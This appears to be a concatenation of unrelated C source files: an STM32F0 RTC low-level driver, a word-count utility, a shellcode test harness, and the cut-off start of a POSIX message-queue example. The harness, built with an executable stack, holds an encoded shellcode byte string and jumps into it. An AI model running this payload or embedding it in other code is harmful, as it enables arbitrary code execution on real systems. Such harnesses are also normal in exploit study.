}
|
the_stack_data/181392738.c | /**
******************************************************************************
* @file stm32f0xx_ll_rtc.c
* @author MCD Application Team
* @brief RTC LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32f0xx_ll_rtc.h"
#include "stm32f0xx_ll_cortex.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32F0xx_LL_Driver
* @{
*/
#if defined(RTC)
/** @addtogroup RTC_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/** @addtogroup RTC_LL_Private_Constants
* @{
*/
/* Default values used for prescaler */
#define RTC_ASYNCH_PRESC_DEFAULT 0x0000007FU
#define RTC_SYNCH_PRESC_DEFAULT 0x000000FFU
/* Values used for timeout */
#define RTC_INITMODE_TIMEOUT 1000U /* 1s when tick set to 1ms */
#define RTC_SYNCHRO_TIMEOUT 1000U /* 1s when tick set to 1ms */
/**
* @}
*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup RTC_LL_Private_Macros
* @{
*/
#define IS_LL_RTC_HOURFORMAT(__VALUE__) (((__VALUE__) == LL_RTC_HOURFORMAT_24HOUR) \
|| ((__VALUE__) == LL_RTC_HOURFORMAT_AMPM))
#define IS_LL_RTC_ASYNCH_PREDIV(__VALUE__) ((__VALUE__) <= 0x7FU)
#define IS_LL_RTC_SYNCH_PREDIV(__VALUE__) ((__VALUE__) <= 0x7FFFU)
#define IS_LL_RTC_FORMAT(__VALUE__) (((__VALUE__) == LL_RTC_FORMAT_BIN) \
|| ((__VALUE__) == LL_RTC_FORMAT_BCD))
#define IS_LL_RTC_TIME_FORMAT(__VALUE__) (((__VALUE__) == LL_RTC_TIME_FORMAT_AM_OR_24) \
|| ((__VALUE__) == LL_RTC_TIME_FORMAT_PM))
#define IS_LL_RTC_HOUR12(__HOUR__) (((__HOUR__) > 0U) && ((__HOUR__) <= 12U))
#define IS_LL_RTC_HOUR24(__HOUR__) ((__HOUR__) <= 23U)
#define IS_LL_RTC_MINUTES(__MINUTES__) ((__MINUTES__) <= 59U)
#define IS_LL_RTC_SECONDS(__SECONDS__) ((__SECONDS__) <= 59U)
#define IS_LL_RTC_WEEKDAY(__VALUE__) (((__VALUE__) == LL_RTC_WEEKDAY_MONDAY) \
|| ((__VALUE__) == LL_RTC_WEEKDAY_TUESDAY) \
|| ((__VALUE__) == LL_RTC_WEEKDAY_WEDNESDAY) \
|| ((__VALUE__) == LL_RTC_WEEKDAY_THURSDAY) \
|| ((__VALUE__) == LL_RTC_WEEKDAY_FRIDAY) \
|| ((__VALUE__) == LL_RTC_WEEKDAY_SATURDAY) \
|| ((__VALUE__) == LL_RTC_WEEKDAY_SUNDAY))
#define IS_LL_RTC_DAY(__DAY__) (((__DAY__) >= 1U) && ((__DAY__) <= 31U))
#define IS_LL_RTC_MONTH(__VALUE__) (((__VALUE__) == LL_RTC_MONTH_JANUARY) \
|| ((__VALUE__) == LL_RTC_MONTH_FEBRUARY) \
|| ((__VALUE__) == LL_RTC_MONTH_MARCH) \
|| ((__VALUE__) == LL_RTC_MONTH_APRIL) \
|| ((__VALUE__) == LL_RTC_MONTH_MAY) \
|| ((__VALUE__) == LL_RTC_MONTH_JUNE) \
|| ((__VALUE__) == LL_RTC_MONTH_JULY) \
|| ((__VALUE__) == LL_RTC_MONTH_AUGUST) \
|| ((__VALUE__) == LL_RTC_MONTH_SEPTEMBER) \
|| ((__VALUE__) == LL_RTC_MONTH_OCTOBER) \
|| ((__VALUE__) == LL_RTC_MONTH_NOVEMBER) \
|| ((__VALUE__) == LL_RTC_MONTH_DECEMBER))
#define IS_LL_RTC_YEAR(__YEAR__) ((__YEAR__) <= 99U)
#define IS_LL_RTC_ALMA_MASK(__VALUE__) (((__VALUE__) == LL_RTC_ALMA_MASK_NONE) \
|| ((__VALUE__) == LL_RTC_ALMA_MASK_DATEWEEKDAY) \
|| ((__VALUE__) == LL_RTC_ALMA_MASK_HOURS) \
|| ((__VALUE__) == LL_RTC_ALMA_MASK_MINUTES) \
|| ((__VALUE__) == LL_RTC_ALMA_MASK_SECONDS) \
|| ((__VALUE__) == LL_RTC_ALMA_MASK_ALL))
#define IS_LL_RTC_ALMA_DATE_WEEKDAY_SEL(__SEL__) (((__SEL__) == LL_RTC_ALMA_DATEWEEKDAYSEL_DATE) || \
((__SEL__) == LL_RTC_ALMA_DATEWEEKDAYSEL_WEEKDAY))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup RTC_LL_Exported_Functions
* @{
*/
/** @addtogroup RTC_LL_EF_Init
* @{
*/
/**
* @brief De-Initializes the RTC registers to their default reset values.
* @note This function doesn't reset the RTC Clock source and RTC Backup Data
* registers.
* @param RTCx RTC Instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: RTC registers are de-initialized
* - ERROR: RTC registers are not de-initialized
*/
ErrorStatus LL_RTC_DeInit(RTC_TypeDef *RTCx)
{
ErrorStatus status = ERROR;
/* Check the parameter */
assert_param(IS_RTC_ALL_INSTANCE(RTCx));
/* Disable the write protection for RTC registers */
LL_RTC_DisableWriteProtection(RTCx);
/* Set Initialization mode */
if (LL_RTC_EnterInitMode(RTCx) != ERROR)
{
/* Reset TR, DR and CR registers */
LL_RTC_WriteReg(RTCx, TR, 0x00000000U);
#if defined(RTC_WAKEUP_SUPPORT)
LL_RTC_WriteReg(RTCx, WUTR, RTC_WUTR_WUT);
#endif /* RTC_WAKEUP_SUPPORT */
LL_RTC_WriteReg(RTCx, DR , (RTC_DR_WDU_0 | RTC_DR_MU_0 | RTC_DR_DU_0));
/* Reset All CR bits except CR[2:0] */
#if defined(RTC_WAKEUP_SUPPORT)
LL_RTC_WriteReg(RTCx, CR, (LL_RTC_ReadReg(RTCx, CR) & RTC_CR_WUCKSEL));
#else
LL_RTC_WriteReg(RTCx, CR, 0x00000000U);
#endif /* RTC_WAKEUP_SUPPORT */
LL_RTC_WriteReg(RTCx, PRER, (RTC_PRER_PREDIV_A | RTC_SYNCH_PRESC_DEFAULT));
LL_RTC_WriteReg(RTCx, ALRMAR, 0x00000000U);
LL_RTC_WriteReg(RTCx, SHIFTR, 0x00000000U);
LL_RTC_WriteReg(RTCx, CALR, 0x00000000U);
LL_RTC_WriteReg(RTCx, ALRMASSR, 0x00000000U);
/* Reset ISR register and exit initialization mode */
LL_RTC_WriteReg(RTCx, ISR, 0x00000000U);
/* Reset Tamper and alternate functions configuration register */
LL_RTC_WriteReg(RTCx, TAFCR, 0x00000000U);
/* Wait till the RTC RSF flag is set */
status = LL_RTC_WaitForSynchro(RTCx);
}
/* Enable the write protection for RTC registers */
LL_RTC_EnableWriteProtection(RTCx);
return status;
}
/**
* @brief Initializes the RTC registers according to the specified parameters
* in RTC_InitStruct.
* @param RTCx RTC Instance
* @param RTC_InitStruct pointer to a @ref LL_RTC_InitTypeDef structure that contains
* the configuration information for the RTC peripheral.
* @note The RTC Prescaler register is write protected and can be written in
* initialization mode only.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: RTC registers are initialized
* - ERROR: RTC registers are not initialized
*/
ErrorStatus LL_RTC_Init(RTC_TypeDef *RTCx, LL_RTC_InitTypeDef *RTC_InitStruct)
{
ErrorStatus status = ERROR;
/* Check the parameters */
assert_param(IS_RTC_ALL_INSTANCE(RTCx));
assert_param(IS_LL_RTC_HOURFORMAT(RTC_InitStruct->HourFormat));
assert_param(IS_LL_RTC_ASYNCH_PREDIV(RTC_InitStruct->AsynchPrescaler));
assert_param(IS_LL_RTC_SYNCH_PREDIV(RTC_InitStruct->SynchPrescaler));
/* Disable the write protection for RTC registers */
LL_RTC_DisableWriteProtection(RTCx);
/* Set Initialization mode */
if (LL_RTC_EnterInitMode(RTCx) != ERROR)
{
/* Set Hour Format */
LL_RTC_SetHourFormat(RTCx, RTC_InitStruct->HourFormat);
/* Configure Synchronous and Asynchronous prescaler factor */
LL_RTC_SetSynchPrescaler(RTCx, RTC_InitStruct->SynchPrescaler);
LL_RTC_SetAsynchPrescaler(RTCx, RTC_InitStruct->AsynchPrescaler);
/* Exit Initialization mode */
LL_RTC_DisableInitMode(RTCx);
status = SUCCESS;
}
/* Enable the write protection for RTC registers */
LL_RTC_EnableWriteProtection(RTCx);
return status;
}
/**
* @brief Set each @ref LL_RTC_InitTypeDef field to default value.
* @param RTC_InitStruct pointer to a @ref LL_RTC_InitTypeDef structure which will be initialized.
* @retval None
*/
void LL_RTC_StructInit(LL_RTC_InitTypeDef *RTC_InitStruct)
{
/* Set RTC_InitStruct fields to default values */
RTC_InitStruct->HourFormat = LL_RTC_HOURFORMAT_24HOUR;
RTC_InitStruct->AsynchPrescaler = RTC_ASYNCH_PRESC_DEFAULT;
RTC_InitStruct->SynchPrescaler = RTC_SYNCH_PRESC_DEFAULT;
}
/**
* @brief Set the RTC current time.
* @param RTCx RTC Instance
* @param RTC_Format This parameter can be one of the following values:
* @arg @ref LL_RTC_FORMAT_BIN
* @arg @ref LL_RTC_FORMAT_BCD
* @param RTC_TimeStruct pointer to a RTC_TimeTypeDef structure that contains
* the time configuration information for the RTC.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: RTC Time register is configured
* - ERROR: RTC Time register is not configured
*/
ErrorStatus LL_RTC_TIME_Init(RTC_TypeDef *RTCx, uint32_t RTC_Format, LL_RTC_TimeTypeDef *RTC_TimeStruct)
{
ErrorStatus status = ERROR;
/* Check the parameters */
assert_param(IS_RTC_ALL_INSTANCE(RTCx));
assert_param(IS_LL_RTC_FORMAT(RTC_Format));
if (RTC_Format == LL_RTC_FORMAT_BIN)
{
if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR)
{
assert_param(IS_LL_RTC_HOUR12(RTC_TimeStruct->Hours));
assert_param(IS_LL_RTC_TIME_FORMAT(RTC_TimeStruct->TimeFormat));
}
else
{
RTC_TimeStruct->TimeFormat = 0x00U;
assert_param(IS_LL_RTC_HOUR24(RTC_TimeStruct->Hours));
}
assert_param(IS_LL_RTC_MINUTES(RTC_TimeStruct->Minutes));
assert_param(IS_LL_RTC_SECONDS(RTC_TimeStruct->Seconds));
}
else
{
if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR)
{
assert_param(IS_LL_RTC_HOUR12(__LL_RTC_CONVERT_BCD2BIN(RTC_TimeStruct->Hours)));
assert_param(IS_LL_RTC_TIME_FORMAT(RTC_TimeStruct->TimeFormat));
}
else
{
RTC_TimeStruct->TimeFormat = 0x00U;
assert_param(IS_LL_RTC_HOUR24(__LL_RTC_CONVERT_BCD2BIN(RTC_TimeStruct->Hours)));
}
assert_param(IS_LL_RTC_MINUTES(__LL_RTC_CONVERT_BCD2BIN(RTC_TimeStruct->Minutes)));
assert_param(IS_LL_RTC_SECONDS(__LL_RTC_CONVERT_BCD2BIN(RTC_TimeStruct->Seconds)));
}
/* Disable the write protection for RTC registers */
LL_RTC_DisableWriteProtection(RTCx);
/* Set Initialization mode */
if (LL_RTC_EnterInitMode(RTCx) != ERROR)
{
/* Check the input parameters format */
if (RTC_Format != LL_RTC_FORMAT_BIN)
{
LL_RTC_TIME_Config(RTCx, RTC_TimeStruct->TimeFormat, RTC_TimeStruct->Hours,
RTC_TimeStruct->Minutes, RTC_TimeStruct->Seconds);
}
else
{
LL_RTC_TIME_Config(RTCx, RTC_TimeStruct->TimeFormat, __LL_RTC_CONVERT_BIN2BCD(RTC_TimeStruct->Hours),
__LL_RTC_CONVERT_BIN2BCD(RTC_TimeStruct->Minutes),
__LL_RTC_CONVERT_BIN2BCD(RTC_TimeStruct->Seconds));
}
/* Exit Initialization mode */
LL_RTC_DisableInitMode(RTC);
/* If RTC_CR_BYPSHAD bit = 0, wait for synchro else this check is not needed */
if (LL_RTC_IsShadowRegBypassEnabled(RTCx) == 0U)
{
status = LL_RTC_WaitForSynchro(RTCx);
}
else
{
status = SUCCESS;
}
}
/* Enable the write protection for RTC registers */
LL_RTC_EnableWriteProtection(RTCx);
return status;
}
/**
* @brief Set each @ref LL_RTC_TimeTypeDef field to default value (Time = 00h:00min:00sec).
* @param RTC_TimeStruct pointer to a @ref LL_RTC_TimeTypeDef structure which will be initialized.
* @retval None
*/
void LL_RTC_TIME_StructInit(LL_RTC_TimeTypeDef *RTC_TimeStruct)
{
/* Time = 00h:00min:00sec */
RTC_TimeStruct->TimeFormat = LL_RTC_TIME_FORMAT_AM_OR_24;
RTC_TimeStruct->Hours = 0U;
RTC_TimeStruct->Minutes = 0U;
RTC_TimeStruct->Seconds = 0U;
}
/**
* @brief Set the RTC current date.
* @param RTCx RTC Instance
* @param RTC_Format This parameter can be one of the following values:
* @arg @ref LL_RTC_FORMAT_BIN
* @arg @ref LL_RTC_FORMAT_BCD
* @param RTC_DateStruct: pointer to a RTC_DateTypeDef structure that contains
* the date configuration information for the RTC.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: RTC Day register is configured
* - ERROR: RTC Day register is not configured
*/
ErrorStatus LL_RTC_DATE_Init(RTC_TypeDef *RTCx, uint32_t RTC_Format, LL_RTC_DateTypeDef *RTC_DateStruct)
{
ErrorStatus status = ERROR;
/* Check the parameters */
assert_param(IS_RTC_ALL_INSTANCE(RTCx));
assert_param(IS_LL_RTC_FORMAT(RTC_Format));
if ((RTC_Format == LL_RTC_FORMAT_BIN) && ((RTC_DateStruct->Month & 0x10U) == 0x10U))
{
RTC_DateStruct->Month = (RTC_DateStruct->Month & (uint32_t)~(0x10U)) + 0x0AU;
}
if (RTC_Format == LL_RTC_FORMAT_BIN)
{
assert_param(IS_LL_RTC_YEAR(RTC_DateStruct->Year));
assert_param(IS_LL_RTC_MONTH(RTC_DateStruct->Month));
assert_param(IS_LL_RTC_DAY(RTC_DateStruct->Day));
}
else
{
assert_param(IS_LL_RTC_YEAR(__LL_RTC_CONVERT_BCD2BIN(RTC_DateStruct->Year)));
assert_param(IS_LL_RTC_MONTH(__LL_RTC_CONVERT_BCD2BIN(RTC_DateStruct->Month)));
assert_param(IS_LL_RTC_DAY(__LL_RTC_CONVERT_BCD2BIN(RTC_DateStruct->Day)));
}
assert_param(IS_LL_RTC_WEEKDAY(RTC_DateStruct->WeekDay));
/* Disable the write protection for RTC registers */
LL_RTC_DisableWriteProtection(RTCx);
/* Set Initialization mode */
if (LL_RTC_EnterInitMode(RTCx) != ERROR)
{
/* Check the input parameters format */
if (RTC_Format != LL_RTC_FORMAT_BIN)
{
LL_RTC_DATE_Config(RTCx, RTC_DateStruct->WeekDay, RTC_DateStruct->Day, RTC_DateStruct->Month, RTC_DateStruct->Year);
}
else
{
LL_RTC_DATE_Config(RTCx, RTC_DateStruct->WeekDay, __LL_RTC_CONVERT_BIN2BCD(RTC_DateStruct->Day),
__LL_RTC_CONVERT_BIN2BCD(RTC_DateStruct->Month), __LL_RTC_CONVERT_BIN2BCD(RTC_DateStruct->Year));
}
/* Exit Initialization mode */
LL_RTC_DisableInitMode(RTC);
/* If RTC_CR_BYPSHAD bit = 0, wait for synchro else this check is not needed */
if (LL_RTC_IsShadowRegBypassEnabled(RTCx) == 0U)
{
status = LL_RTC_WaitForSynchro(RTCx);
}
else
{
status = SUCCESS;
}
}
/* Enable the write protection for RTC registers */
LL_RTC_EnableWriteProtection(RTCx);
return status;
}
/**
* @brief Set each @ref LL_RTC_DateTypeDef field to default value (date = Monday, January 01 xx00)
* @param RTC_DateStruct pointer to a @ref LL_RTC_DateTypeDef structure which will be initialized.
* @retval None
*/
void LL_RTC_DATE_StructInit(LL_RTC_DateTypeDef *RTC_DateStruct)
{
/* Monday, January 01 xx00 */
RTC_DateStruct->WeekDay = LL_RTC_WEEKDAY_MONDAY;
RTC_DateStruct->Day = 1U;
RTC_DateStruct->Month = LL_RTC_MONTH_JANUARY;
RTC_DateStruct->Year = 0U;
}
/**
* @brief Set the RTC Alarm A.
* @note The Alarm register can only be written when the corresponding Alarm
* is disabled (Use @ref LL_RTC_ALMA_Disable function).
* @param RTCx RTC Instance
* @param RTC_Format This parameter can be one of the following values:
* @arg @ref LL_RTC_FORMAT_BIN
* @arg @ref LL_RTC_FORMAT_BCD
* @param RTC_AlarmStruct pointer to a @ref LL_RTC_AlarmTypeDef structure that
* contains the alarm configuration parameters.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: ALARMA registers are configured
* - ERROR: ALARMA registers are not configured
*/
ErrorStatus LL_RTC_ALMA_Init(RTC_TypeDef *RTCx, uint32_t RTC_Format, LL_RTC_AlarmTypeDef *RTC_AlarmStruct)
{
/* Check the parameters */
assert_param(IS_RTC_ALL_INSTANCE(RTCx));
assert_param(IS_LL_RTC_FORMAT(RTC_Format));
assert_param(IS_LL_RTC_ALMA_MASK(RTC_AlarmStruct->AlarmMask));
assert_param(IS_LL_RTC_ALMA_DATE_WEEKDAY_SEL(RTC_AlarmStruct->AlarmDateWeekDaySel));
if (RTC_Format == LL_RTC_FORMAT_BIN)
{
if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR)
{
assert_param(IS_LL_RTC_HOUR12(RTC_AlarmStruct->AlarmTime.Hours));
assert_param(IS_LL_RTC_TIME_FORMAT(RTC_AlarmStruct->AlarmTime.TimeFormat));
}
else
{
RTC_AlarmStruct->AlarmTime.TimeFormat = 0x00U;
assert_param(IS_LL_RTC_HOUR24(RTC_AlarmStruct->AlarmTime.Hours));
}
assert_param(IS_LL_RTC_MINUTES(RTC_AlarmStruct->AlarmTime.Minutes));
assert_param(IS_LL_RTC_SECONDS(RTC_AlarmStruct->AlarmTime.Seconds));
if (RTC_AlarmStruct->AlarmDateWeekDaySel == LL_RTC_ALMA_DATEWEEKDAYSEL_DATE)
{
assert_param(IS_LL_RTC_DAY(RTC_AlarmStruct->AlarmDateWeekDay));
}
else
{
assert_param(IS_LL_RTC_WEEKDAY(RTC_AlarmStruct->AlarmDateWeekDay));
}
}
else
{
if (LL_RTC_GetHourFormat(RTCx) != LL_RTC_HOURFORMAT_24HOUR)
{
assert_param(IS_LL_RTC_HOUR12(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Hours)));
assert_param(IS_LL_RTC_TIME_FORMAT(RTC_AlarmStruct->AlarmTime.TimeFormat));
}
else
{
RTC_AlarmStruct->AlarmTime.TimeFormat = 0x00U;
assert_param(IS_LL_RTC_HOUR24(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Hours)));
}
assert_param(IS_LL_RTC_MINUTES(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Minutes)));
assert_param(IS_LL_RTC_SECONDS(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmTime.Seconds)));
if (RTC_AlarmStruct->AlarmDateWeekDaySel == LL_RTC_ALMA_DATEWEEKDAYSEL_DATE)
{
assert_param(IS_LL_RTC_DAY(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmDateWeekDay)));
}
else
{
assert_param(IS_LL_RTC_WEEKDAY(__LL_RTC_CONVERT_BCD2BIN(RTC_AlarmStruct->AlarmDateWeekDay)));
}
}
/* Disable the write protection for RTC registers */
LL_RTC_DisableWriteProtection(RTCx);
/* Select weekday selection */
if (RTC_AlarmStruct->AlarmDateWeekDaySel == LL_RTC_ALMA_DATEWEEKDAYSEL_DATE)
{
/* Set the date for ALARM */
LL_RTC_ALMA_DisableWeekday(RTCx);
if (RTC_Format != LL_RTC_FORMAT_BIN)
{
LL_RTC_ALMA_SetDay(RTCx, RTC_AlarmStruct->AlarmDateWeekDay);
}
else
{
LL_RTC_ALMA_SetDay(RTCx, __LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmDateWeekDay));
}
}
else
{
/* Set the week day for ALARM */
LL_RTC_ALMA_EnableWeekday(RTCx);
LL_RTC_ALMA_SetWeekDay(RTCx, RTC_AlarmStruct->AlarmDateWeekDay);
}
/* Configure the Alarm register */
if (RTC_Format != LL_RTC_FORMAT_BIN)
{
LL_RTC_ALMA_ConfigTime(RTCx, RTC_AlarmStruct->AlarmTime.TimeFormat, RTC_AlarmStruct->AlarmTime.Hours,
RTC_AlarmStruct->AlarmTime.Minutes, RTC_AlarmStruct->AlarmTime.Seconds);
}
else
{
LL_RTC_ALMA_ConfigTime(RTCx, RTC_AlarmStruct->AlarmTime.TimeFormat,
__LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmTime.Hours),
__LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmTime.Minutes),
__LL_RTC_CONVERT_BIN2BCD(RTC_AlarmStruct->AlarmTime.Seconds));
}
/* Set ALARM mask */
LL_RTC_ALMA_SetMask(RTCx, RTC_AlarmStruct->AlarmMask);
/* Enable the write protection for RTC registers */
LL_RTC_EnableWriteProtection(RTCx);
return SUCCESS;
}
/**
* @brief Set each @ref LL_RTC_AlarmTypeDef of ALARMA field to default value (Time = 00h:00mn:00sec /
* Day = 1st day of the month/Mask = all fields are masked).
* @param RTC_AlarmStruct pointer to a @ref LL_RTC_AlarmTypeDef structure which will be initialized.
* @retval None
*/
void LL_RTC_ALMA_StructInit(LL_RTC_AlarmTypeDef *RTC_AlarmStruct)
{
/* Alarm Time Settings : Time = 00h:00mn:00sec */
RTC_AlarmStruct->AlarmTime.TimeFormat = LL_RTC_ALMA_TIME_FORMAT_AM;
RTC_AlarmStruct->AlarmTime.Hours = 0U;
RTC_AlarmStruct->AlarmTime.Minutes = 0U;
RTC_AlarmStruct->AlarmTime.Seconds = 0U;
/* Alarm Day Settings : Day = 1st day of the month */
RTC_AlarmStruct->AlarmDateWeekDaySel = LL_RTC_ALMA_DATEWEEKDAYSEL_DATE;
RTC_AlarmStruct->AlarmDateWeekDay = 1U;
/* Alarm Masks Settings : Mask = all fields are not masked */
RTC_AlarmStruct->AlarmMask = LL_RTC_ALMA_MASK_NONE;
}
/**
* @brief Enters the RTC Initialization mode.
* @note The RTC Initialization mode is write protected, use the
* @ref LL_RTC_DisableWriteProtection before calling this function.
* @param RTCx RTC Instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: RTC is in Init mode
* - ERROR: RTC is not in Init mode
*/
ErrorStatus LL_RTC_EnterInitMode(RTC_TypeDef *RTCx)
{
__IO uint32_t timeout = RTC_INITMODE_TIMEOUT;
ErrorStatus status = SUCCESS;
uint32_t tmp = 0U;
/* Check the parameter */
assert_param(IS_RTC_ALL_INSTANCE(RTCx));
/* Check if the Initialization mode is set */
if (LL_RTC_IsActiveFlag_INIT(RTCx) == 0U)
{
/* Set the Initialization mode */
LL_RTC_EnableInitMode(RTCx);
/* Wait till RTC is in INIT state and if Time out is reached exit */
tmp = LL_RTC_IsActiveFlag_INIT(RTCx);
while ((timeout != 0U) && (tmp != 1U))
{
if (LL_SYSTICK_IsActiveCounterFlag() == 1U)
{
timeout --;
}
tmp = LL_RTC_IsActiveFlag_INIT(RTCx);
if (timeout == 0U)
{
status = ERROR;
}
}
}
return status;
}
/**
* @brief Exit the RTC Initialization mode.
* @note When the initialization sequence is complete, the calendar restarts
* counting after 4 RTCCLK cycles.
* @note The RTC Initialization mode is write protected, use the
* @ref LL_RTC_DisableWriteProtection before calling this function.
* @param RTCx RTC Instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: RTC exited from in Init mode
* - ERROR: Not applicable
*/
ErrorStatus LL_RTC_ExitInitMode(RTC_TypeDef *RTCx)
{
/* Check the parameter */
assert_param(IS_RTC_ALL_INSTANCE(RTCx));
/* Disable initialization mode */
LL_RTC_DisableInitMode(RTCx);
return SUCCESS;
}
/**
* @brief Waits until the RTC Time and Day registers (RTC_TR and RTC_DR) are
* synchronized with RTC APB clock.
* @note The RTC Resynchronization mode is write protected, use the
* @ref LL_RTC_DisableWriteProtection before calling this function.
* @note To read the calendar through the shadow registers after Calendar
* initialization, calendar update or after wakeup from low power modes
* the software must first clear the RSF flag.
* The software must then wait until it is set again before reading
* the calendar, which means that the calendar registers have been
* correctly copied into the RTC_TR and RTC_DR shadow registers.
* @param RTCx RTC Instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: RTC registers are synchronised
* - ERROR: RTC registers are not synchronised
*/
ErrorStatus LL_RTC_WaitForSynchro(RTC_TypeDef *RTCx)
{
__IO uint32_t timeout = RTC_SYNCHRO_TIMEOUT;
ErrorStatus status = SUCCESS;
uint32_t tmp = 0U;
/* Check the parameter */
assert_param(IS_RTC_ALL_INSTANCE(RTCx));
/* Clear RSF flag */
LL_RTC_ClearFlag_RS(RTCx);
/* Wait the registers to be synchronised */
tmp = LL_RTC_IsActiveFlag_RS(RTCx);
while ((timeout != 0U) && (tmp != 0U))
{
if (LL_SYSTICK_IsActiveCounterFlag() == 1U)
{
timeout--;
}
tmp = LL_RTC_IsActiveFlag_RS(RTCx);
if (timeout == 0U)
{
status = ERROR;
}
}
if (status != ERROR)
{
timeout = RTC_SYNCHRO_TIMEOUT;
tmp = LL_RTC_IsActiveFlag_RS(RTCx);
while ((timeout != 0U) && (tmp != 1U))
{
if (LL_SYSTICK_IsActiveCounterFlag() == 1U)
{
timeout--;
}
tmp = LL_RTC_IsActiveFlag_RS(RTCx);
if (timeout == 0U)
{
status = ERROR;
}
}
}
return (status);
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* defined(RTC) */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/23034.c | #include <ctype.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
FILE *fp;
int ch, count = 0;
bool word = false;
if(argc != 2)
{
printf("usage: main filename\n");
exit(EXIT_FAILURE);
}
if((fp = fopen(argv[1], "r")) == NULL)
{
printf("%s can't be opened\n", argv[1]);
exit(EXIT_FAILURE);
}
while((ch = getc(fp)) != EOF)
{
if(!word && !isspace(ch))
{
word = true;
}
if(word && !isspace(ch))
{
continue;
}
if(word && isspace(ch))
{
count++;
word = false;
}
}
if(word)
{
count++;
}
fclose(fp);
printf("count: %d\n", count);
return 0;
}
|
the_stack_data/26699264.c | /* Compilation: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xfc\xb2\x95\x52\xeb\x13\x5e\x58\x8a\x0e\x30\x06"
"\x8a\x06\x01\xd1\xd2\xc8\x38\x16\x74\x08\x46\xeb"
"\xef\xe8\xe8\xff\xff\xff\xa4\x58\x56\x62\xff\xdd"
"\xb8\xf3\x00\x6c\xf5\xf1\xcb\xe7\x7b\xb3\xd9\xc4"
"\x22\x2f\x79\x37\x00\x95\xf3\x15";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
|
the_stack_data/103266063.c | /**
* @file mq_test2.c
* @author Jeramie Vens
* @date 2015-02-24: Last updated
* @brief Memory queue example program
* @copyright MIT License (c) 2015
*/
/*
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <mqueue.h>
#include <string.h>
#include <pthread.h>
int msg_count = 0;
pthread_mutex_t mutex;
static void new_msg(union sigval sv)
{
struct mq_attr attr;
ssize_t size;
char *buf;
mqd_t queue = *((mqd_t *) sv.sival_ptr);
